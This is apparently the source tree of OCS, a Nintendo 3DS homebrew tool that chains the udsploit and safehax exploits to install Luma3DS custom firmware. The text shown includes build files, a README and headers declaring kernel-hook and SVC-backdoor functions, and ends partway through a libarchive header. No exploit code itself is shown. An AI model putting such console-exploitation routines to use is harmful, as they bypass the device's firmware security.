├── .travis.yml ├── Makefile ├── README.md ├── data └── arm11.bin ├── include ├── archive.h ├── asm.h ├── exploits.h ├── fs.h ├── httpc.h ├── jsmn.h ├── kernel.h ├── libarchive │ ├── archive.h │ └── archive_entry.h ├── log.h └── util.h ├── lib ├── libarchive.a ├── liblzma.a └── libz.a ├── payload ├── 3ds.ld ├── Makefile ├── _start.s └── main.c └── source ├── archive.c ├── exploits ├── changes.txt └── source │ ├── asm.s │ ├── kernel.c │ ├── safehax.c │ └── udsploit.c ├── fs.c ├── httpc.c ├── jsmn.c ├── log.c ├── main.c └── util.c /.travis.yml: -------------------------------------------------------------------------------- 1 | language: c 2 | 3 | sudo: false 4 | 5 | #Cache devkitPro 6 | cache: 7 | directories: 8 | - /home/travis/devkitPro 9 | 10 | before_install: 11 | # Prepare devkitArm update 12 | - export DEVKITPRO=/home/travis/devkitPro 13 | - export DEVKITARM=${DEVKITPRO}/devkitARM 14 | - mkdir -p $DEVKITPRO 15 | - cd $DEVKITPRO 16 | - wget -N http://sourceforge.net/projects/devkitpro/files/Automated%20Installer/devkitARMupdate.pl 17 | - 18 | 19 | install: 20 | - cd $DEVKITPRO 21 | # Install or update devkitArm if it's cached 22 | - perl devkitARMupdate.pl 23 | - cd $TRAVIS_BUILD_DIR 24 | 25 | script: 26 | - cd $TRAVIS_BUILD_DIR 27 | - make 28 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | TOPDIR ?= $(CURDIR) 10 | DEPENDENCY_LIBS ?= $(CURDIR) 11 | include $(DEVKITARM)/3ds_rules 12 | 13 | #--------------------------------------------------------------------------------- 14 | # TARGET is the name of the output 15 | # BUILD is the directory where object files & intermediate files will be placed 16 | # SOURCES is a list of directories containing source code 17 | # DATA is a list of directories containing data files 18 | # INCLUDES is a list of directories containing header files 19 | # 20 | # NO_SMDH: if set to anything, no SMDH file is generated. 21 | # ROMFS is the directory which contains the RomFS, relative to the Makefile (Optional) 22 | # APP_TITLE is the name of the app stored in the SMDH file (Optional) 23 | # APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) 24 | # APP_AUTHOR is the author of the app stored in the SMDH file (Optional) 25 | # ICON is the filename of the icon (.png), relative to the project folder. 26 | # If not set, it attempts to use one of the following (in this order): 27 | # - .png 28 | # - icon.png 29 | # - /default_icon.png 30 | #--------------------------------------------------------------------------------- 31 | TARGET := boot 32 | BUILD := build 33 | SOURCES := source source/exploits/source 34 | DATA := data 35 | INCLUDES := include include/liblzma include/libarchive 36 | APP_AUTHOR := Kartik 37 | APP_TITLE := OCS 38 | APP_DESCRIPTION := One Click Setup For 3ds! 39 | #ROMFS := romfs 40 | 41 | #--------------------------------------------------------------------------------- 42 | # options for code generation 43 | #--------------------------------------------------------------------------------- 44 | ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard -mtp=soft 45 | 46 | CFLAGS := -g -Wall -O2 -mword-relocations \ 47 | -fomit-frame-pointer -ffunction-sections \ 48 | $(ARCH) 49 | 50 | CFLAGS += $(INCLUDE) -DARM11 -D_3DS 51 | 52 | CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 53 | 54 | ASFLAGS := -g $(ARCH) 55 | LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) 56 | 57 | LIBS := -larchive -llzma -lz -lctru -lm 58 | 59 | #--------------------------------------------------------------------------------- 60 | # list of directories containing libraries, this must be the top level containing 61 | # include and lib 62 | #--------------------------------------------------------------------------------- 63 | LIBDIRS := $(CTRULIB) $(DEPENDENCY_LIBS) 64 | 65 | 66 | #--------------------------------------------------------------------------------- 67 | # no real need to edit anything past this point unless you need to add additional 68 | # rules for different file extensions 69 | #--------------------------------------------------------------------------------- 70 | ifneq ($(BUILD),$(notdir $(CURDIR))) 71 | #--------------------------------------------------------------------------------- 72 | 73 | export OUTPUT := $(CURDIR)/$(TARGET) 74 | export TOPDIR := $(CURDIR) 75 | 76 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 77 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 78 | 79 | export DEPSDIR := $(CURDIR)/$(BUILD) 80 | 81 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 82 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 83 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 84 | PICAFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.v.pica))) 85 | SHLISTFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.shlist))) 86 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 87 | 88 | #--------------------------------------------------------------------------------- 89 | # use CXX for linking C++ projects, CC for standard C 90 | #--------------------------------------------------------------------------------- 91 | ifeq ($(strip $(CPPFILES)),) 92 | #--------------------------------------------------------------------------------- 93 | export LD := $(CC) 94 | #--------------------------------------------------------------------------------- 95 | else 96 | #--------------------------------------------------------------------------------- 97 | export LD := $(CXX) 98 | #--------------------------------------------------------------------------------- 99 | endif 100 | #--------------------------------------------------------------------------------- 101 | 102 | export OFILES := $(addsuffix .o,$(BINFILES)) \ 103 | $(PICAFILES:.v.pica=.shbin.o) $(SHLISTFILES:.shlist=.shbin.o) \ 104 | $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 105 | 106 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 107 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 108 | -I$(CURDIR)/$(BUILD) 109 | 110 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 111 | 112 | ifeq ($(strip $(ICON)),) 113 | icons := $(wildcard *.png) 114 | ifneq (,$(findstring $(TARGET).png,$(icons))) 115 | export APP_ICON := $(TOPDIR)/$(TARGET).png 116 | else 117 | ifneq (,$(findstring icon.png,$(icons))) 118 | export APP_ICON := $(TOPDIR)/icon.png 119 | endif 120 | endif 121 | else 122 | export APP_ICON := $(TOPDIR)/$(ICON) 123 | endif 124 | 125 | ifeq ($(strip $(NO_SMDH)),) 126 | export _3DSXFLAGS += --smdh=$(CURDIR)/$(TARGET).smdh 127 | endif 128 | 129 | ifneq ($(ROMFS),) 130 | export _3DSXFLAGS += --romfs=$(CURDIR)/$(ROMFS) 131 | endif 132 | 133 | .PHONY: $(BUILD) clean all 134 | 135 | #--------------------------------------------------------------------------------- 136 | all: $(BUILD) 137 | 138 | $(BUILD): 139 | @[ -d $@ ] || mkdir -p $@ 140 | @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 141 | 142 | #--------------------------------------------------------------------------------- 143 | clean: 144 | @echo clean ... 145 | @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf 146 | 147 | 148 | #--------------------------------------------------------------------------------- 149 | else 150 | 151 | DEPENDS := $(OFILES:.o=.d) 152 | 153 | #--------------------------------------------------------------------------------- 154 | # main targets 155 | #--------------------------------------------------------------------------------- 156 | ifeq ($(strip $(NO_SMDH)),) 157 | $(OUTPUT).3dsx : $(OUTPUT).elf $(OUTPUT).smdh 158 | else 159 | $(OUTPUT).3dsx : $(OUTPUT).elf 160 | endif 161 | 162 | $(OUTPUT).elf : $(OFILES) 163 | 164 | #--------------------------------------------------------------------------------- 165 | # you need a rule like this for each extension you use as binary data 166 | #--------------------------------------------------------------------------------- 167 | %.bin.o : %.bin 168 | #--------------------------------------------------------------------------------- 169 | @echo $(notdir $<) 170 | @$(bin2o) 171 | 172 | #--------------------------------------------------------------------------------- 173 | # rules for assembling GPU shaders 174 | #--------------------------------------------------------------------------------- 175 | define shader-as 176 | $(eval CURBIN := $(patsubst %.shbin.o,%.shbin,$(notdir $@))) 177 | picasso -o $(CURBIN) $1 178 | bin2s $(CURBIN) | $(AS) -o $@ 179 | echo "extern const u8" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(CURBIN) | tr . _)`.h 180 | echo "extern const u8" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(CURBIN) | tr . _)`.h 181 | echo "extern const u32" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(CURBIN) | tr . _)`.h 182 | endef 183 | 184 | %.shbin.o : %.v.pica %.g.pica 185 | @echo $(notdir $^) 186 | @$(call shader-as,$^) 187 | 188 | %.shbin.o : %.v.pica 189 | @echo $(notdir $<) 190 | @$(call shader-as,$<) 191 | 192 | %.shbin.o : %.shlist 193 | @echo $(notdir $<) 194 | @$(call shader-as,$(foreach file,$(shell cat $<),$(dir $<)/$(file))) 195 | 196 | -include $(DEPENDS) 197 | 198 | #--------------------------------------------------------------------------------------- 199 | endif 200 | #--------------------------------------------------------------------------------------- 201 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OCS(One Click Setup)![Github latest downloads](https://img.shields.io/github/downloads/pirater12/ocs/total.svg) [![Build Status](https://travis-ci.org/Pirater12/ocs.svg?branch=master)](https://travis-ci.org/Pirater12/ocs) 2 | 3 | This is meant for 3ds users between firmware 9.0.0 to 11.3.0. It allows the users to go straight from stock to luma3ds with only 3 files on 4 | the sd card(If the user is using soundhax). 5 | 6 | # Usage 7 | 8 | Nothing much is needed to use this, you just need to be between firmware 9.0.0 and 11.3.0. Get soundhax .m4a, otherapp.bin and ocs.3dsx. Rename ocs.3dsx 9 | to boot.3dsx and put it in the root of your sd card. 10 | 11 | # Features 12 | 13 | * Nothing more than 3 files are needed on your sd card. 14 | 15 | * Installs FBI, DSP1, GodMode9, Anemone3DS and lumaupdater. 16 | 17 | * Stock to luma3ds within 5 minutes. 18 | 19 | * Inbuilt zip and 7z extractor using libarchive. 20 | 21 | # Building 22 | 23 | To build, you first need to compile the payload folder and then the main makefile(ctrulib and devkitpro must be installed). 24 | 25 | # Credits 26 | 27 | Many thanks to Chromaryu for testing this app. 28 | 29 | Tinivi for safehax. 30 | 31 | Yellows8 and Smealum for udsploit. 32 | 33 | Smealum and others for ctrulib. 34 | -------------------------------------------------------------------------------- /data/arm11.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hax0kartik/ocs/ec4b898e98a25bc4ff9ecb4923448016380c6632/data/arm11.bin -------------------------------------------------------------------------------- /include/archive.h: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | 3 | void archiveExtractFile(void *buf, size_t size, char *fileToExtract, char *ExtractAs, char *location); -------------------------------------------------------------------------------- /include/asm.h: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include "util.h" 3 | 4 | u32 svc_30(void *entry_fn, ...); 5 | Result svcGlobalBackdoor(s32 (*callback)(void)); 6 | bool checkSvcGlobalBackdoor(); 7 | Result svcMiniBackDoor(void *target); 8 | void invalidate_icache(); 9 | Result checkRunningCFW(); 10 | Result checkLumaVersion(lumainfo *version); -------------------------------------------------------------------------------- /include/exploits.h: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | 3 | Result udsploit(); 4 | int safehax(); -------------------------------------------------------------------------------- /include/fs.h: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | 3 | void fsOpenAndWrite(const char *location, void *data, size_t size); 4 | 5 | Result fsOpenAndWriteNAND(const char *location, void *data, size_t size); 6 | 7 | u8 *fsOpenAndRead(const char *location, u32 *readSize); 8 | 9 | Result checkFileExists(const char *location); -------------------------------------------------------------------------------- /include/httpc.h: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | 3 | Result httpDownloadData(const char* url); 4 | u8* httpRetrieveData(); 5 | size_t httpBufSize(); 6 | void httpFree(); -------------------------------------------------------------------------------- /include/jsmn.h: -------------------------------------------------------------------------------- 1 | #ifndef __JSMN_H_ 2 | #define __JSMN_H_ 3 | 4 | #include 5 | 6 | #ifdef __cplusplus 7 | extern "C" { 8 | #endif 9 | 10 | /** 11 | * JSON type identifier. Basic types are: 12 | * o Object 13 | * o Array 14 | * o String 15 | * o Other primitive: number, boolean (true/false) or null 16 | */ 17 | typedef enum { 18 | JSMN_UNDEFINED = 0, 19 | JSMN_OBJECT = 1, 20 | JSMN_ARRAY = 2, 21 | JSMN_STRING = 3, 22 | JSMN_PRIMITIVE = 4 23 | } jsmntype_t; 24 | 25 | enum jsmnerr { 26 | /* Not enough tokens were provided */ 27 | JSMN_ERROR_NOMEM = -1, 28 | /* Invalid character inside JSON string */ 29 | JSMN_ERROR_INVAL = -2, 30 | /* The string is not a full JSON packet, more bytes expected */ 31 | JSMN_ERROR_PART = -3 32 | }; 33 | 34 | /** 35 | * JSON token description. 36 | * type type (object, array, string etc.) 37 | * start start position in JSON data string 38 | * end end position in JSON data string 39 | */ 40 | typedef struct { 41 | jsmntype_t type; 42 | int start; 43 | int end; 44 | int size; 45 | #ifdef JSMN_PARENT_LINKS 46 | int parent; 47 | #endif 48 | } jsmntok_t; 49 | 50 | /** 51 | * JSON parser. Contains an array of token blocks available. Also stores 52 | * the string being parsed now and current position in that string 53 | */ 54 | typedef struct { 55 | unsigned int pos; /* offset in the JSON string */ 56 | unsigned int toknext; /* next token to allocate */ 57 | int toksuper; /* superior token node, e.g parent object or array */ 58 | } jsmn_parser; 59 | 60 | /** 61 | * Create JSON parser over an array of tokens 62 | */ 63 | void jsmn_init(jsmn_parser *parser); 64 | 65 | /** 66 | * Run JSON parser. It parses a JSON data string into and array of tokens, each describing 67 | * a single JSON object. 68 | */ 69 | int jsmn_parse(jsmn_parser *parser, const char *js, size_t len, 70 | jsmntok_t *tokens, unsigned int num_tokens); 71 | 72 | #ifdef __cplusplus 73 | } 74 | #endif 75 | 76 | #endif /* __JSMN_H_ */ 77 | -------------------------------------------------------------------------------- /include/kernel.h: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | 3 | void initsrv_allservices(); 4 | void patch_svcaccesstable(); 5 | Result hook_kernel(); -------------------------------------------------------------------------------- /include/libarchive/archive.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2003-2010 Tim Kientzle 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | * 25 | * $FreeBSD: src/lib/libarchive/archive.h.in,v 1.50 2008/05/26 17:00:22 kientzle Exp $ 26 | */ 27 | 28 | #ifndef ARCHIVE_H_INCLUDED 29 | #define ARCHIVE_H_INCLUDED 30 | 31 | #include 32 | #include /* for wchar_t */ 33 | #include /* For FILE * */ 34 | 35 | /* 36 | * Note: archive.h is for use outside of libarchive; the configuration 37 | * headers (config.h, archive_platform.h, etc.) are purely internal. 38 | * Do NOT use HAVE_XXX configuration macros to control the behavior of 39 | * this header! If you must conditionalize, use predefined compiler and/or 40 | * platform macros. 41 | */ 42 | #if defined(__BORLANDC__) && __BORLANDC__ >= 0x560 43 | # include 44 | #elif !defined(__WATCOMC__) && !defined(_MSC_VER) && !defined(__INTERIX) && !defined(__BORLANDC__) && !defined(_SCO_DS) 45 | # include 46 | #endif 47 | 48 | /* Get appropriate definitions of standard POSIX-style types. */ 49 | /* These should match the types used in 'struct stat' */ 50 | #if defined(_WIN32) && !defined(__CYGWIN__) 51 | # define __LA_INT64_T __int64 52 | # if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_) 53 | # define __LA_SSIZE_T ssize_t 54 | # elif defined(_WIN64) 55 | # define __LA_SSIZE_T __int64 56 | # else 57 | # define __LA_SSIZE_T long 58 | # endif 59 | #else 60 | # include /* ssize_t */ 61 | # if defined(_SCO_DS) 62 | # define __LA_INT64_T long long 63 | # else 64 | # define __LA_INT64_T int64_t 65 | # endif 66 | # define __LA_SSIZE_T ssize_t 67 | #endif 68 | 69 | /* 70 | * On Windows, define LIBARCHIVE_STATIC if you're building or using a 71 | * .lib. The default here assumes you're building a DLL. Only 72 | * libarchive source should ever define __LIBARCHIVE_BUILD. 73 | */ 74 | #if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC) 75 | # ifdef __LIBARCHIVE_BUILD 76 | # ifdef __GNUC__ 77 | # define __LA_DECL __attribute__((dllexport)) extern 78 | # else 79 | # define __LA_DECL __declspec(dllexport) 80 | # endif 81 | # else 82 | # ifdef __GNUC__ 83 | # define __LA_DECL 84 | # else 85 | # define __LA_DECL __declspec(dllimport) 86 | # endif 87 | # endif 88 | #else 89 | /* Static libraries or non-Windows needs no special declaration. */ 90 | # define __LA_DECL 91 | #endif 92 | 93 | #if defined(__GNUC__) && __GNUC__ >= 3 && !defined(__MINGW32__) 94 | #define __LA_PRINTF(fmtarg, firstvararg) \ 95 | __attribute__((__format__ (__printf__, fmtarg, firstvararg))) 96 | #else 97 | #define __LA_PRINTF(fmtarg, firstvararg) /* nothing */ 98 | #endif 99 | 100 | #if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1 101 | # define __LA_DEPRECATED __attribute__((deprecated)) 102 | #else 103 | # define __LA_DEPRECATED 104 | #endif 105 | 106 | #ifdef __cplusplus 107 | extern "C" { 108 | #endif 109 | 110 | /* 111 | * The version number is provided as both a macro and a function. 112 | * The macro identifies the installed header; the function identifies 113 | * the library version (which may not be the same if you're using a 114 | * dynamically-linked version of the library). Of course, if the 115 | * header and library are very different, you should expect some 116 | * strangeness. Don't do that. 117 | */ 118 | 119 | /* 120 | * The version number is expressed as a single integer that makes it 121 | * easy to compare versions at build time: for version a.b.c, the 122 | * version number is printf("%d%03d%03d",a,b,c). For example, if you 123 | * know your application requires version 2.12.108 or later, you can 124 | * assert that ARCHIVE_VERSION_NUMBER >= 2012108. 125 | */ 126 | /* Note: Compiler will complain if this does not match archive_entry.h! */ 127 | #define ARCHIVE_VERSION_NUMBER 3001002 128 | __LA_DECL int archive_version_number(void); 129 | 130 | /* 131 | * Textual name/version of the library, useful for version displays. 132 | */ 133 | #define ARCHIVE_VERSION_STRING "libarchive 3.1.2" 134 | __LA_DECL const char * archive_version_string(void); 135 | 136 | /* Declare our basic types. */ 137 | struct archive; 138 | struct archive_entry; 139 | 140 | /* 141 | * Error codes: Use archive_errno() and archive_error_string() 142 | * to retrieve details. Unless specified otherwise, all functions 143 | * that return 'int' use these codes. 144 | */ 145 | #define ARCHIVE_EOF 1 /* Found end of archive. */ 146 | #define ARCHIVE_OK 0 /* Operation was successful. */ 147 | #define ARCHIVE_RETRY (-10) /* Retry might succeed. */ 148 | #define ARCHIVE_WARN (-20) /* Partial success. */ 149 | /* For example, if write_header "fails", then you can't push data. */ 150 | #define ARCHIVE_FAILED (-25) /* Current operation cannot complete. */ 151 | /* But if write_header is "fatal," then this archive is dead and useless. */ 152 | #define ARCHIVE_FATAL (-30) /* No more operations are possible. */ 153 | 154 | /* 155 | * As far as possible, archive_errno returns standard platform errno codes. 156 | * Of course, the details vary by platform, so the actual definitions 157 | * here are stored in "archive_platform.h". The symbols are listed here 158 | * for reference; as a rule, clients should not need to know the exact 159 | * platform-dependent error code. 160 | */ 161 | /* Unrecognized or invalid file format. */ 162 | /* #define ARCHIVE_ERRNO_FILE_FORMAT */ 163 | /* Illegal usage of the library. */ 164 | /* #define ARCHIVE_ERRNO_PROGRAMMER_ERROR */ 165 | /* Unknown or unclassified error. */ 166 | /* #define ARCHIVE_ERRNO_MISC */ 167 | 168 | /* 169 | * Callbacks are invoked to automatically read/skip/write/open/close the 170 | * archive. You can provide your own for complex tasks (like breaking 171 | * archives across multiple tapes) or use standard ones built into the 172 | * library. 173 | */ 174 | 175 | /* Returns pointer and size of next block of data from archive. */ 176 | typedef __LA_SSIZE_T archive_read_callback(struct archive *, 177 | void *_client_data, const void **_buffer); 178 | 179 | /* Skips at most request bytes from archive and returns the skipped amount. 180 | * This may skip fewer bytes than requested; it may even skip zero bytes. 181 | * If you do skip fewer bytes than requested, libarchive will invoke your 182 | * read callback and discard data as necessary to make up the full skip. 183 | */ 184 | typedef __LA_INT64_T archive_skip_callback(struct archive *, 185 | void *_client_data, __LA_INT64_T request); 186 | 187 | /* Seeks to specified location in the file and returns the position. 188 | * Whence values are SEEK_SET, SEEK_CUR, SEEK_END from stdio.h. 189 | * Return ARCHIVE_FATAL if the seek fails for any reason. 190 | */ 191 | typedef __LA_INT64_T archive_seek_callback(struct archive *, 192 | void *_client_data, __LA_INT64_T offset, int whence); 193 | 194 | /* Returns size actually written, zero on EOF, -1 on error. */ 195 | typedef __LA_SSIZE_T archive_write_callback(struct archive *, 196 | void *_client_data, 197 | const void *_buffer, size_t _length); 198 | 199 | typedef int archive_open_callback(struct archive *, void *_client_data); 200 | 201 | typedef int archive_close_callback(struct archive *, void *_client_data); 202 | 203 | /* Switches from one client data object to the next/prev client data object. 204 | * This is useful for reading from different data blocks such as a set of files 205 | * that make up one large file. 206 | */ 207 | typedef int archive_switch_callback(struct archive *, void *_client_data1, 208 | void *_client_data2); 209 | 210 | /* 211 | * Codes to identify various stream filters. 212 | */ 213 | #define ARCHIVE_FILTER_NONE 0 214 | #define ARCHIVE_FILTER_GZIP 1 215 | #define ARCHIVE_FILTER_BZIP2 2 216 | #define ARCHIVE_FILTER_COMPRESS 3 217 | #define ARCHIVE_FILTER_PROGRAM 4 218 | #define ARCHIVE_FILTER_LZMA 5 219 | #define ARCHIVE_FILTER_XZ 6 220 | #define ARCHIVE_FILTER_UU 7 221 | #define ARCHIVE_FILTER_RPM 8 222 | #define ARCHIVE_FILTER_LZIP 9 223 | #define ARCHIVE_FILTER_LRZIP 10 224 | #define ARCHIVE_FILTER_LZOP 11 225 | #define ARCHIVE_FILTER_GRZIP 12 226 | 227 | #if ARCHIVE_VERSION_NUMBER < 4000000 228 | #define ARCHIVE_COMPRESSION_NONE ARCHIVE_FILTER_NONE 229 | #define ARCHIVE_COMPRESSION_GZIP ARCHIVE_FILTER_GZIP 230 | #define ARCHIVE_COMPRESSION_BZIP2 ARCHIVE_FILTER_BZIP2 231 | #define ARCHIVE_COMPRESSION_COMPRESS ARCHIVE_FILTER_COMPRESS 232 | #define ARCHIVE_COMPRESSION_PROGRAM ARCHIVE_FILTER_PROGRAM 233 | #define ARCHIVE_COMPRESSION_LZMA ARCHIVE_FILTER_LZMA 234 | #define ARCHIVE_COMPRESSION_XZ ARCHIVE_FILTER_XZ 235 | #define ARCHIVE_COMPRESSION_UU ARCHIVE_FILTER_UU 236 | #define ARCHIVE_COMPRESSION_RPM ARCHIVE_FILTER_RPM 237 | #define ARCHIVE_COMPRESSION_LZIP ARCHIVE_FILTER_LZIP 238 | #define ARCHIVE_COMPRESSION_LRZIP ARCHIVE_FILTER_LRZIP 239 | #endif 240 | 241 | /* 242 | * Codes returned by archive_format. 243 | * 244 | * Top 16 bits identifies the format family (e.g., "tar"); lower 245 | * 16 bits indicate the variant. This is updated by read_next_header. 246 | * Note that the lower 16 bits will often vary from entry to entry. 247 | * In some cases, this variation occurs as libarchive learns more about 248 | * the archive (for example, later entries might utilize extensions that 249 | * weren't necessary earlier in the archive; in this case, libarchive 250 | * will change the format code to indicate the extended format that 251 | * was used). In other cases, it's because different tools have 252 | * modified the archive and so different parts of the archive 253 | * actually have slightly different formats. (Both tar and cpio store 254 | * format codes in each entry, so it is quite possible for each 255 | * entry to be in a different format.) 256 | */ 257 | #define ARCHIVE_FORMAT_BASE_MASK 0xff0000 258 | #define ARCHIVE_FORMAT_CPIO 0x10000 259 | #define ARCHIVE_FORMAT_CPIO_POSIX (ARCHIVE_FORMAT_CPIO | 1) 260 | #define ARCHIVE_FORMAT_CPIO_BIN_LE (ARCHIVE_FORMAT_CPIO | 2) 261 | #define ARCHIVE_FORMAT_CPIO_BIN_BE (ARCHIVE_FORMAT_CPIO | 3) 262 | #define ARCHIVE_FORMAT_CPIO_SVR4_NOCRC (ARCHIVE_FORMAT_CPIO | 4) 263 | #define ARCHIVE_FORMAT_CPIO_SVR4_CRC (ARCHIVE_FORMAT_CPIO | 5) 264 | #define ARCHIVE_FORMAT_CPIO_AFIO_LARGE (ARCHIVE_FORMAT_CPIO | 6) 265 | #define ARCHIVE_FORMAT_SHAR 0x20000 266 | #define ARCHIVE_FORMAT_SHAR_BASE (ARCHIVE_FORMAT_SHAR | 1) 267 | #define ARCHIVE_FORMAT_SHAR_DUMP (ARCHIVE_FORMAT_SHAR | 2) 268 | #define ARCHIVE_FORMAT_TAR 0x30000 269 | #define ARCHIVE_FORMAT_TAR_USTAR (ARCHIVE_FORMAT_TAR | 1) 270 | #define ARCHIVE_FORMAT_TAR_PAX_INTERCHANGE (ARCHIVE_FORMAT_TAR | 2) 271 | #define ARCHIVE_FORMAT_TAR_PAX_RESTRICTED (ARCHIVE_FORMAT_TAR | 3) 272 | #define ARCHIVE_FORMAT_TAR_GNUTAR (ARCHIVE_FORMAT_TAR | 4) 273 | #define ARCHIVE_FORMAT_ISO9660 0x40000 274 | #define ARCHIVE_FORMAT_ISO9660_ROCKRIDGE (ARCHIVE_FORMAT_ISO9660 | 1) 275 | #define ARCHIVE_FORMAT_ZIP 0x50000 276 | #define ARCHIVE_FORMAT_EMPTY 0x60000 277 | #define ARCHIVE_FORMAT_AR 0x70000 278 | #define ARCHIVE_FORMAT_AR_GNU (ARCHIVE_FORMAT_AR | 1) 279 | #define ARCHIVE_FORMAT_AR_BSD (ARCHIVE_FORMAT_AR | 2) 280 | #define ARCHIVE_FORMAT_MTREE 0x80000 281 | #define ARCHIVE_FORMAT_RAW 0x90000 282 | #define ARCHIVE_FORMAT_XAR 0xA0000 283 | #define ARCHIVE_FORMAT_LHA 0xB0000 284 | #define ARCHIVE_FORMAT_CAB 0xC0000 285 | #define ARCHIVE_FORMAT_RAR 0xD0000 286 | #define ARCHIVE_FORMAT_7ZIP 0xE0000 287 | 288 | /*- 289 | * Basic outline for reading an archive: 290 | * 1) Ask archive_read_new for an archive reader object. 291 | * 2) Update any global properties as appropriate. 292 | * In particular, you'll certainly want to call appropriate 293 | * archive_read_support_XXX functions. 294 | * 3) Call archive_read_open_XXX to open the archive 295 | * 4) Repeatedly call archive_read_next_header to get information about 296 | * successive archive entries. Call archive_read_data to extract 297 | * data for entries of interest. 298 | * 5) Call archive_read_finish to end processing. 299 | */ 300 | __LA_DECL struct archive *archive_read_new(void); 301 | 302 | /* 303 | * The archive_read_support_XXX calls enable auto-detect for this 304 | * archive handle. They also link in the necessary support code. 305 | * For example, if you don't want bzlib linked in, don't invoke 306 | * support_compression_bzip2(). The "all" functions provide the 307 | * obvious shorthand. 308 | */ 309 | 310 | #if ARCHIVE_VERSION_NUMBER < 4000000 311 | __LA_DECL int archive_read_support_compression_all(struct archive *) 312 | __LA_DEPRECATED; 313 | __LA_DECL int archive_read_support_compression_bzip2(struct archive *) 314 | __LA_DEPRECATED; 315 | __LA_DECL int archive_read_support_compression_compress(struct archive *) 316 | __LA_DEPRECATED; 317 | __LA_DECL int archive_read_support_compression_gzip(struct archive *) 318 | __LA_DEPRECATED; 319 | __LA_DECL int archive_read_support_compression_lzip(struct archive *) 320 | __LA_DEPRECATED; 321 | __LA_DECL int archive_read_support_compression_lzma(struct archive *) 322 | __LA_DEPRECATED; 323 | __LA_DECL int archive_read_support_compression_none(struct archive *) 324 | __LA_DEPRECATED; 325 | __LA_DECL int archive_read_support_compression_program(struct archive *, 326 | const char *command) __LA_DEPRECATED; 327 | __LA_DECL int archive_read_support_compression_program_signature 328 | (struct archive *, const char *, 329 | const void * /* match */, size_t) __LA_DEPRECATED; 330 | 331 | __LA_DECL int archive_read_support_compression_rpm(struct archive *) 332 | __LA_DEPRECATED; 333 | __LA_DECL int archive_read_support_compression_uu(struct archive *) 334 | __LA_DEPRECATED; 335 | __LA_DECL int archive_read_support_compression_xz(struct archive *) 336 | __LA_DEPRECATED; 337 | #endif 338 | 339 | __LA_DECL int archive_read_support_filter_all(struct archive *); 340 | __LA_DECL int archive_read_support_filter_bzip2(struct archive *); 341 | __LA_DECL int 